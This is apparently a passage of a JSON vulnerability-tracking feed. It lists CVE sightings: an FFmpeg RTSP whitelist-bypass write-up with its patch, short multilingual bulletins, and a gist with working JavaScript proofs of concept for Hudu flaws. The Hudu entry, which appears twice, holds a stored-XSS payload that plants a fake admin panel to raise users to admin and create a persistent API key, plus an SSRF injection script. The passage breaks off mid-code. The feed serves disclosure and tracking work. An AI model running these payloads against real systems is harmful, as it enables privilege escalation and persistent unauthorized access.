Lavf62.8.102\n```\n\nBoth scenarios produce identical output, confirming the whitelist bypass.\n\n---\n\n## 6. Remediation\n\n**Patch PR:** https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/22292  \n**Commit:** `ea9e85e549`  \n**Milestone:** FFmpeg 8.1  \n\n```diff\n} else if (!strcmp(proto, \"satip\")) {\n          av_strlcpy(proto, \"rtsp\", sizeof(proto));\n          rt->server_type = RTSP_SERVER_SATIP;\n-     }\n+     } else if (strcmp(proto, \"rtsp\"))\n+         return AVERROR_INVALIDDATA;\n```\n\n## 7. Timeline\n\n| Date | Event |\n|---|---|\n| 2026-01-06 | Reported to FFmpeg via YesWeHack (YWH-PGM40646-41) |\n| 2026-01-21 | FFmpeg acknowledges, begins triage |\n| 2026-02-26 | Patch PR #22292 opened by Michael Niedermayer |\n| 2026-02-26 | Patch merged into FFmpeg master (FFmpeg 8.1) |\n| 2026-06-09 | CVE requested to MITRE |\n\n---\n\n## 8. References\n\n- Patch PR: https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/22292\n- Patch Commit: https://git.ffmpeg.org/gitweb/ffmpeg.git/commit/ea9e85e549\n- CVE-Log Mailing List : https://lists.ffmpeg.org/archives/list/ffmpeg-cvslog@ffmpeg.org/message/REXLIL26QLGKRQWLU6NU3P327C7HIUXH/\n- Related CVE: CVE-2026-36934 (HTTP\u2192RTSP, `libavformat/http.c`) \u2014 distinct vulnerability\n", "creation_timestamp": "2026-06-09T22:15:53.000000Z"}, {"uuid": "d8a49e35-65a1-40d2-af18-b71aea4ebf4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36418", "type": "seen", "source": "https://gist.github.com/Catherines77/e3db95f913ab9449cf01bab153a09f48", "content": "[CVE ID]\nCVE-2026-36418\n[PRODUCT]\nhttps://github.com/jeecgboot/jimureport\n[VERSION]\nV2.3.4\n[PROBLEM TYPE]\nRemote Code Execution (RCE)\n[DESCRIPTION]\nJimuReport versions 2.3.4 and below at `/jmreport/executeSelectApi` API do not effectively restrict user input, directly delegating it to the `execute` method of the aviator expression, which leads to aviator expression injection.", "creation_timestamp": "2026-06-16T08:57:04.000000Z"}, {"uuid": "12ee835c-90fe-45c4-9f58-76ba81e0e127", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36849", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3moh6qy7igr2p", "content": "[CVE-2026-36849] libtiff: Denial of Service via large SamplesPerPixel tag", "creation_timestamp": "2026-06-17T01:42:59.139382Z"}, {"uuid": "2671b24c-da98-4cef-b9c9-ab162b13a185", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36213", "type": "published-proof-of-concept", "source": "Telegram/P4OAF6tyxAIVXey_izy-TP1JEXG6oDmgsdsL3rMnBYotsT0", "content": "", "creation_timestamp": "2026-06-11T15:00:06.000000Z"}, {"uuid": "2f6e7e6a-251e-4804-b425-b42bd2214139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3640", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moncfcw6ga2q", "content": "CVE-2026-3640 - STRABL\nCVE ID : CVE-2026-3640\n \n Published : June 19, 2026, 6:51 a.m. | 4\u00a0hours, 46\u00a0minutes ago\n \n Description : The STRABL \u2013 A checkout solution plugin for WordPress is vulnerable to Missing Authentication in all versions up to and including 4.5. The plugin re...", "creation_timestamp": "2026-06-19T12:04:01.202056Z"}, {"uuid": "7fb7f0c9-776d-4f59-8965-504b8eab64cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3660", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3moxegfedlc2n", "content": "\u300cIBM ELM\u300d\u306e\u57fa\u76e4\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306b\u8106\u5f31\u6027 - \u4fee\u6b63\u30d1\u30c3\u30c1\u3092\u30ea\u30ea\u30fc\u30b9\n\nIBM\u306e\u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u5411\u3051\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u7fa4\u300cIBM Engineering Lifecycle Management\u300d\u306e\u57fa\u76e4\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3067\u3042\u308b\u300cJazz Foundation\u300d\u306b\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\n\nIBM\u306f\u73fe\u5730\u6642\u95932026\u5e745\u670826\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3002\u8a8d\u8a3c\u306e\u30d0\u30a4\u30d1\u30b9\u304c\u53ef\u80fd\u3068\u306a\u308b\u8106\u5f31\u6027\u300cCVE-2026-3660\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\n\n\u8a8d\u53ef\u51e6\u7406\u306b\u4e0d\u5099\u304c\u3042\u308a\u3001\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u30b5\u30fc\u30d0\u306e\u30d7\u30ed\u30d1\u30c6\u30a3\u30d5\u30a1\u30a4\u30eb\u3092\u66f4\u65b0\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3068\u306a\u308a\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3078\u30a2\u30af\u30bb\u30b9\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002", "creation_timestamp": "2026-06-23T12:07:01.863878Z"}, {"uuid": "300acb80-8106-4aa4-88c5-bc09b3625efd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3652", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mozcsxwcu42r", "content": "WordPress\u306eARForms\u30d7\u30e9\u30b0\u30a4\u30f3v7.1.3\u307e\u3067\u306b\u306fStored XSS\u8106\u5f31\u6027\u304c\u3042\u308b\u3002\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u653b\u6483\u8005\u304c\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u6ce8\u5165\u3057\u3001\u7ba1\u7406\u8005\u304c\u300cPartial Filled Form Ent\u2026\nCVE-2026-3652 CVSS 7.2 | HIGH", "creation_timestamp": "2026-06-24T06:43:36.100068Z"}, {"uuid": "0af085c8-fb07-4006-9f75-95770638c2f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36908", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgpu2rr3h2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36908: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0435\u043a\u0430 \u0432 AP4_Array\n\n\n\nhttps://kripta.biz/posts/DE5F67D4-43F1-45A7-946F-B63FAB0AFEC3", "creation_timestamp": "2026-06-29T14:41:27.858811Z"}, {"uuid": "cf63c440-c3b1-4ab6-a0ec-7b7354718199", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36907", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpgq7xwoyx2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36907: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0435\u043a\u0430 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 AP4_StsdAtom\n\n\n\nhttps://kripta.biz/posts/F7858108-35E4-443A-BB2B-91FC48E620F3", "creation_timestamp": "2026-06-29T14:48:07.585557Z"}, {"uuid": "cbd3cb94-02e8-4ece-9197-92104e66d677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36848", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mph5hp43mm2w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36848 \u0432 Gigamon GVOS: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/D61243BB-47C8-4E97-AF4D-CF3C1E39D279", "creation_timestamp": "2026-06-29T18:45:05.706157Z"}, {"uuid": "2aa49b1c-55ee-4591-b90a-26a1dd81e8b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36478", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphhhjwbim2n", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36478 \u0432 Technitium DNS Server: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/21EEE848-F619-42F0-9027-FB907CEAC0A8", "creation_timestamp": "2026-06-29T21:43:57.433298Z"}, {"uuid": "e5485a3c-c981-418a-b6d9-2ffbbc64259c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36907", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphhqiwwz62t", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36907: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0435\u043a\u0430 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 AP4_StsdAtom\n\n\n\nhttps://kripta.biz/posts/92642518-7C2B-499E-BC5D-42C1B87AD497", "creation_timestamp": "2026-06-29T21:48:58.321538Z"}, {"uuid": "e598ce2a-9fc0-46a1-8a9a-22850f2d30bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36908", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphhr4l2n22k", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36908: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0435\u043a\u0430 \u0432 AP4_Array\n\n\n\nhttps://kripta.biz/posts/875EFF9E-3D89-47A2-95AC-F7A03B19F9E2", "creation_timestamp": "2026-06-29T21:49:19.694503Z"}, {"uuid": "e1f8bff7-d1c9-41f8-9b99-264e9a17e64b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36848", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphidk7hpb2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36848 \u0432 Gigamon GVOS: \u0443\u0433\u0440\u043e\u0437\u0430 Directory Traversal \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/ADA7FB38-78D6-4DF1-B337-B3B1A869EDC2", "creation_timestamp": "2026-06-29T21:59:37.318832Z"}, {"uuid": "640cbf5a-59c6-46bb-94ff-d36064e4e51e", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-36356", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d1683ee2-227b-4228-9226-d64a61d93fca", "content": "", "creation_timestamp": "2026-06-30T09:23:59.039769Z"}, {"uuid": "32287918-d682-422d-86d8-80dd5ab41fb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3639", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/dgqrzjk6qzkdo", "content": "CVE-2026-3639 - PPWP \u2013 Password Protect Pages\nCVE ID : CVE-2026-3639\n \n Published : Aug. 13, 2026, 8:16 a.m. | 18\u00a0minutes ago\n \n Description : The PPWP \u2013 Password Protect Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `ppwp` shortcode ...", "creation_timestamp": "2026-08-13T08:58:32.723607Z"}, {"uuid": "6fbfccf2-d2c7-45d1-8d6f-61a5768b3ccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3602", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpm4hjvimt2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3602 \u0432 IBM App Connect Enterprise: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/E3801653-4D94-4C37-A475-A1594F4FD6C1", "creation_timestamp": "2026-07-01T18:10:25.186239Z"}, {"uuid": "30b01aa9-1d00-4005-9011-8961a0f026bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36541", "type": "seen", "source": "https://gist.github.com/justinbrick/fad199753a9a4afbaddda05651a45d15", "content": "/**\n * Hudu CVE-2026-36541 PoC\n * While any particular payload could have been used, this just demonstrates with a visual UI that could be used to generate a\n * key if ran by an administrative user.\n */\n(async function() {\n    const token = document.querySelector('meta[name=\"csrf-token\"]')?.content;\n    const targetUrl = window.location.origin + '/kba/{kba_id}'; // Replace {kba_id} with the target article ID\n\n    // 1. The HTML and Script Payload to be stored in the KBA\n    const escalationPayload = `\n\n    \nAdministrative Control Panel\n    \n    \n\n        Target User ID:\n        \n    \n\n    \n\n        User Identity Details:\n        \n        \n        \n    \n\n    \n\n        Set Admin\n        Set Editor\n    \n\n    \n\n    \n    Create Persistence API Key\n    \n    \n\n\n\n\n(function() {\n    const getCsrf = () => document.querySelector('meta[name=\"csrf-token\"]')?.content || '';\n    \n    const updatePermissions = async (role) => {\n        const id = document.getElementById('target_user_id').value;\n        const status = document.getElementById('status_msg');\n        \n        if (!id) {\n            alert('A Target User ID is required.');\n            return;\n        }\n\n        const formData = new FormData();\n        formData.append('_method', 'patch');\n        formData.append('authenticity_token', getCsrf());\n        formData.append('user[first_name]', document.getElementById('target_first_name').value);\n        formData.append('user[last_name]', document.getElementById('target_last_name').value);\n        formData.append('user[email]', document.getElementById('target_email').value);\n        // Replicating the empty avatar fields \n        formData.append('user[avatar]', ''); \n        // Empty text field \n        // Empty file field: name=\"user[avatar]\", filename=\"\", Content-Type: application/octet-stream \n        formData.append('user[avatar]', new Blob([]), ''); \n        formData.append('user[security_level]', role);\n        // Replicating empty group and company IDs \n        formData.append('user[group_id]', ''); \n        formData.append('user[company_id]', '');\n        formData.append('user[security_level]', role);\n        formData.append('commit', 'Update');\n\n        const res = await fetch('/admin/users/' + id, { method: 'POST', body: formData });\n        \n        status.style.display = 'block';\n        status.style.background = res.ok ? '#d4edda' : '#f8d7da';\n        status.style.color = res.ok ? '#155724' : '#721c24';\n        status.innerText = res.ok ? 'Success: User ' + id + ' updated to ' + role : 'Error: Permission update failed.';\n    };\n\n    const generateKey = async () => {\n        const btn = document.getElementById('btn_api');\n        const status = document.getElementById('status_msg');\n        \n        const params = new URLSearchParams();\n        params.append('authenticity_token', getCsrf());\n        params.append('api_key[name]', 'CVE XSS KEY');\n        params.append('api_key[magic_dash_scope]', 'false');\n        params.append('api_key[company_id]', '');\n        params.append('api_key[allowed_ips]', '');\n        params.append('api_key[password_access]', '0');\n        params.append('api_key[destructive_actions]', '0');\n        params.append('api_key[export_permissions]', '0');\n        params.append('commit', 'Create');\n\n        const res = await fetch('/admin/api_keys', {\n            method: 'POST',\n            body: params,\n            headers: { 'Content-Type': 'application/x-www-form-urlencoded' }\n        });\n\n        if (res.ok) {\n            btn.disabled = true;\n            btn.style.background = '#95a5a6';\n            btn.style.cursor = 'default';\n            btn.innerText = 'API Key Created';\n            \n            status.style.display = 'block';\n            status.style.background = '#d1ecf1';\n            status.style.color = '#0c5460';\n            status.innerText = 'Confirmation: \"CVE XSS KEY\" generated for persistent access.';\n        }\n    };\n\n    document.getElementById('btn_admin').onclick = () => updatePermissions('admin');\n    document.getElementById('btn_editor').onclick = () => updatePermissions('editor');\n    document.getElementById('btn_api').onclick = generateKey;\n})();\n<\\/script>\n`;\n\n    // 2. Perform the Injection\n    const formData = new URLSearchParams();\n    formData.append('_method', 'patch');\n    formData.append('authenticity_token', token);\n    formData.append('article[name]', 'Security Update Required: Administrative Policy');\n    formData.append('article[content]', escalationPayload);\n\n    const response = await fetch(targetUrl, {\n        method: 'POST',\n        body: formData,\n        headers: { 'Content-Type': 'application/x-www-form-urlencoded' }\n    });\n\n    if (response.ok) {\n        console.log(\"Escalation panel successfully injected into KBA.\");\n    } else {\n        console.error(\"Injection failed. Status code:\", response.status);\n    }\n})();\n\n\n# Security Advisory: Stored XSS Vulnerability on Hudu 2.39.6 via Un-sanitized Article Content\n\n**Date:** 2026-02-18\n\n**CVE ID:** CVE-2026-36541\n\n**CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n\n**Severity: 8.0** (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)\n\n**Affected Versions:** Versions prior to [2.41.1](https://community.hudu.com/release-notes-9lbk0yii/post/hudu-version-2-41-1-ZigX4hAKHQDOrVw)\n\n## Summary\n\nA Stored Cross-Site Scripting (XSS) vulnerability exists within the Knowledge Base (KBA) article editor. The application fails to sanitize HTML input provided in the article[content] parameter during POST or PATCH requests. This allows an authorized user\u2014or an attacker with a hijacked session\u2014to persist malicious scripts within the database.\n\n## Technical Details\n\n- **Endpoint:** {client}.huducloud.com/kba/{kba_id}\n- **Vulnerability Type:** Stored Cross-Site Scripting (XSS)\n- **Authentication Required:** Yes (User session or API key)\n\nThe vulnerability allows an authorized user to persist malicious scripts \nwithin the database due to the application's failure to sanitize HTML \ninput in the `article[content]` parameter.\n\n- **Persistent Threat:** Once an article is created, the malicious content remains active until it is programmatically removed.\n- **Administrative Risk:** A standard user cannot remove the malicious content through the web interface without first viewing and executing the script.\n- **Session Hijacking:** An attacker with a hijacked session can use these permissions to inject scripts that target other users, including administrators, to gain\npersistence or increase privilege.\n- **Lack of Filtration:** The application does not appear to filter HTML tags, including scripts or iframes, contained within the request contents.\n\n/**\n * Hudu CVE-2026-36542 PoC\n * Extracts the CSRF token and performs a PATCH request, to be ran in the console of a browser.\n * to inject an SSRF payload into a KBA article.\n */\n(async function() {\nconst token = document.querySelector('meta[name=\"csrf-token\"]')?.content;\nconst targetUrl = window.location.origin + '/kba/{kba_id}'; // Replace with target ID\n\nconst formData = new URLSearchParams();\nformData.append('_method', 'patch');\nformData.append('authenticity_token', token);\nformData.append('article[name]', 'Test Article - SSRF Vulnerability');\nformData.append('article[content]', `\n\n\n  var info = \"Platform: \" + navigator.platform + \"\\\\n\" + \n             \"UserAgent: \" + navigator.userAgent + \"\\\\n\" + \n             \"AppVersion: \" + navigator.appVersion;\n  document.write(\"\n\" + info + \"\");\n<\\/script>\n`);\nformData.append('article[folder_id]', '');\n\nconst response = await fetch(targetUrl, {\nmethod: 'POST',\nbody: formData,\nheaders: { 'Content-Type': 'application/x-www-form-urlencoded' }\n});\n\nif (response.ok) {\nconsole.log(\"SSRF Payload injected successfully.\");\n} else {\nconsole.error(\"Injection failed with status:\", response.status);\n}\n})();\n\n\n# Security Advisory: SSRF Vulnerability on Hudu 2.39.6 from Un-sanitized PDF Parsing\n\n**Date:** 2026-02-18\n\n**CVE ID:** CVE-2026-36542\n\n**CWE:** CWE-918 Server-Side Request Forgery (SSRF)\n\n**Severity:** 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)\n\n**Affected Versions:** Versions prior to [2.41.1](https://community.hudu.com/release-notes-9lbk0yii/post/hudu-version-2-41-1-ZigX4hAKHQDOrVw)\n\n## Summary\n\nA vulnerability exists in the application's PDF generation service where un-sanitized HTML input is processed by the **wkhtmltopdf** rendering engine. This allows an attacker to execute arbitrary JavaScript within the server's context and perform Server-Side Request Forgery (SSRF). By targeting the internal DigitalOcean Metadata Service, it was possible to retrieve sensitive system configurations, internal network maps, and administrative credentials.\n\n## Technical Details\n\n**Endpoint:** {client}.huducloud.com/kba/{kba_id}/renders\n\nThe successful retrieval of `v1.json` from the internal DigitalOcean Metadata Service resulted in the disclosure of the following sensitive information:\n\n- **Infrastructure Identity:** Disclosure of Droplet ID, Hostname, and Region.\n- **Asset Leakage:** Identification of an associated S3 bucket within the tags.\n- **Credential Disclosure:** Retrieval of the Droplet auth_key and the administrator's SSH public key.\n- **Network Mapping:** Exposure of internal VPC IP addresses, gateways, and routing logic for 2 internal subnet ranges.", "creation_timestamp": "2026-07-01T19:37:03.708014Z"}, {"uuid": "edc9ec45-c639-44d1-8dfb-39715ac0d332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36542", "type": "seen", "source": "https://gist.github.com/justinbrick/fad199753a9a4afbaddda05651a45d15", "content": "/**\n * Hudu CVE-2026-36541 PoC\n * While any particular payload could have been used, this just demonstrates with a visual UI that could be used to generate a\n * key if ran by an administrative user.\n */\n(async function() {\n    const token = document.querySelector('meta[name=\"csrf-token\"]')?.content;\n    const targetUrl = window.location.origin + '/kba/{kba_id}'; // Replace {kba_id} with the target article ID\n\n    // 1. The HTML and Script Payload to be stored in the KBA\n    const escalationPayload = `\n\n    \nAdministrative Control Panel\n    \n    \n\n        Target User ID:\n        \n    \n\n    \n\n        User Identity Details:\n        \n        \n        \n    \n\n    \n\n        Set Admin\n        Set Editor\n    \n\n    \n\n    \n    Create Persistence API Key\n    \n    \n\n\n\n\n(function() {\n    const getCsrf = () => document.querySelector('meta[name=\"csrf-token\"]')?.content || '';\n    \n    const updatePermissions = async (role) => {\n        const id = document.getElementById('target_user_id').value;\n        const status = document.getElementById('status_msg');\n        \n        if (!id) {\n            alert('A Target User ID is required.');\n            return;\n        }\n\n        const formData = new FormData();\n        formData.append('_method', 'patch');\n        formData.append('authenticity_token', getCsrf());\n        formData.append('user[first_name]', document.getElementById('target_first_name').value);\n        formData.append('user[last_name]', document.getElementById('target_last_name').value);\n        formData.append('user[email]', document.getElementById('target_email').value);\n        // Replicating the empty avatar fields \n        formData.append('user[avatar]', ''); \n        // Empty text field \n        // Empty file field: name=\"user[avatar]\", filename=\"\", Content-Type: application/octet-stream \n        formData.append('user[avatar]', new Blob([]), ''); \n        formData.append('user[security_level]', role);\n        // Replicating empty group and company IDs \n        formData.append('user[group_id]', ''); \n        formData.append('user[company_id]', '');\n        formData.append('user[security_level]', role);\n        formData.append('commit', 'Update');\n\n        const res = await fetch('/admin/users/' + id, { method: 'POST', body: formData });\n        \n        status.style.display = 'block';\n        status.style.background = res.ok ? '#d4edda' : '#f8d7da';\n        status.style.color = res.ok ? '#155724' : '#721c24';\n        status.innerText = res.ok ? 'Success: User ' + id + ' updated to ' + role : 'Error: Permission update failed.';\n    };\n\n    const generateKey = async () => {\n        const btn = document.getElementById('btn_api');\n        const status = document.getElementById('status_msg');\n        \n        const params = new URLSearchParams();\n        params.append('authenticity_token', getCsrf());\n        params.append('api_key[name]', 'CVE XSS KEY');\n        params.append('api_key[magic_dash_scope]', 'false');\n        params.append('api_key[company_id]', '');\n        params.append('api_key[allowed_ips]', '');\n        params.append('api_key[password_access]', '0');\n        params.append('api_key[destructive_actions]', '0');\n        params.append('api_key[export_permissions]', '0');\n        params.append('commit', 'Create');\n\n        const res = await fetch('/admin/api_keys', {\n            method: 'POST',\n            body: params,\n            headers: { 'Content-Type': 'application/x-www-form-urlencoded' }\n        });\n\n        if (res.ok) {\n            btn.disabled = true;\n            btn.style.background = '#95a5a6';\n            btn.style.cursor = 'default';\n            btn.innerText = 'API Key Created';\n            \n            status.style.display = 'block';\n            status.style.background = '#d1ecf1';\n            status.style.color = '#0c5460';\n            status.innerText = 'Confirmation: \"CVE XSS KEY\" generated for persistent access.';\n        }\n    };\n\n    document.getElementById('btn_admin').onclick = () => updatePermissions('admin');\n    document.getElementById('btn_editor').onclick = () => updatePermissions('editor');\n    document.getElementById('btn_api').onclick = generateKey;\n})();\n<\\/script>\n`;\n\n    // 2. Perform the Injection\n    const formData = new URLSearchParams();\n    formData.append('_method', 'patch');\n    formData.append('authenticity_token', token);\n    formData.append('article[name]', 'Security Update Required: Administrative Policy');\n    formData.append('article[content]', escalationPayload);\n\n    const response = await fetch(targetUrl, {\n        method: 'POST',\n        body: formData,\n        headers: { 'Content-Type': 'application/x-www-form-urlencoded' }\n    });\n\n    if (response.ok) {\n        console.log(\"Escalation panel successfully injected into KBA.\");\n    } else {\n        console.error(\"Injection failed. Status code:\", response.status);\n    }\n})();\n\n\n# Security Advisory: Stored XSS Vulnerability on Hudu 2.39.6 via Un-sanitized Article Content\n\n**Date:** 2026-02-18\n\n**CVE ID:** CVE-2026-36541\n\n**CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n\n**Severity: 8.0** (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)\n\n**Affected Versions:** Versions prior to [2.41.1](https://community.hudu.com/release-notes-9lbk0yii/post/hudu-version-2-41-1-ZigX4hAKHQDOrVw)\n\n## Summary\n\nA Stored Cross-Site Scripting (XSS) vulnerability exists within the Knowledge Base (KBA) article editor. The application fails to sanitize HTML input provided in the article[content] parameter during POST or PATCH requests. This allows an authorized user\u2014or an attacker with a hijacked session\u2014to persist malicious scripts within the database.\n\n## Technical Details\n\n- **Endpoint:** {client}.huducloud.com/kba/{kba_id}\n- **Vulnerability Type:** Stored Cross-Site Scripting (XSS)\n- **Authentication Required:** Yes (User session or API key)\n\nThe vulnerability allows an authorized user to persist malicious scripts \nwithin the database due to the application's failure to sanitize HTML \ninput in the `article[content]` parameter.\n\n- **Persistent Threat:** Once an article is created, the malicious content remains active until it is programmatically removed.\n- **Administrative Risk:** A standard user cannot remove the malicious content through the web interface without first viewing and executing the script.\n- **Session Hijacking:** An attacker with a hijacked session can use these permissions to inject scripts that target other users, including administrators, to gain\npersistence or increase privilege.\n- **Lack of Filtration:** The application does not appear to filter HTML tags, including scripts or iframes, contained within the request contents.\n\n/**\n * Hudu CVE-2026-36542 PoC\n * Extracts the CSRF token and performs a PATCH request, to be ran in the console of a browser.\n * to inject an SSRF payload into a KBA article.\n */\n(async function() {\nconst token = document.querySelector('meta[name=\"csrf-token\"]')?.content;\nconst targetUrl = window.location.origin + '/kba/{kba_id}'; // Replace with target ID\n\nconst formData = new URLSearchParams();\nformData.append('_method', 'patch');\nformData.append('authenticity_token', token);\nformData.append('article[name]', 'Test Article - SSRF Vulnerability');\nformData.append('article[content]', `\n\n\n  var info = \"Platform: \" + navigator.platform + \"\\\\n\" + \n             \"UserAgent: \" + navigator.userAgent + \"\\\\n\" + \n             \"AppVersion: \" + navigator.appVersion;\n  document.write(\"\n\" + info + \"\");\n<\\/script>\n`);\nformData.append('article[folder_id]', '');\n\nconst response = await fetch(targetUrl, {\nmethod: 'POST',\nbody: formData,\nheaders: { 'Content-Type': 'application/x-www-form-urlencoded' }\n});\n\nif (response.ok) {\nconsole.log(\"SSRF Payload injected successfully.\");\n} else {\nconsole.error(\"Injection failed with status:\", 